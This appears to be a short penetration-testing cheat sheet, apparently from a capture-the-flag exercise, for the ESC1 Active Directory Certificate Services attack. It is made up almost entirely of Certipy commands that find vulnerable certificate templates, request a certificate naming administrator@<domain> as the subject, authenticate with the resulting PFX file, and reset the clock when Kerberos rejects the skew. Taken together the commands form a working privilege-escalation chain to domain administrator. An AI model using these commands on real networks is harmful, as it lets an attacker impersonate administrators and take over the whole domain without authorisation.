ESC1
# Find
certipy find -u <user> -p <password> -target <dc> -text -stdout -vulnerable
# Exploit
certipy req -u <user> -p <password> -target <dc> -upn administrator@<domain> -ca sequel-dc-ca -template UserAuthentication
# Auth
certipy auth -pfx administrator.pfx
# if clock skew too great :
timedatectl set-ntp off
ntpdate -u <domain-dc>
# redo the auth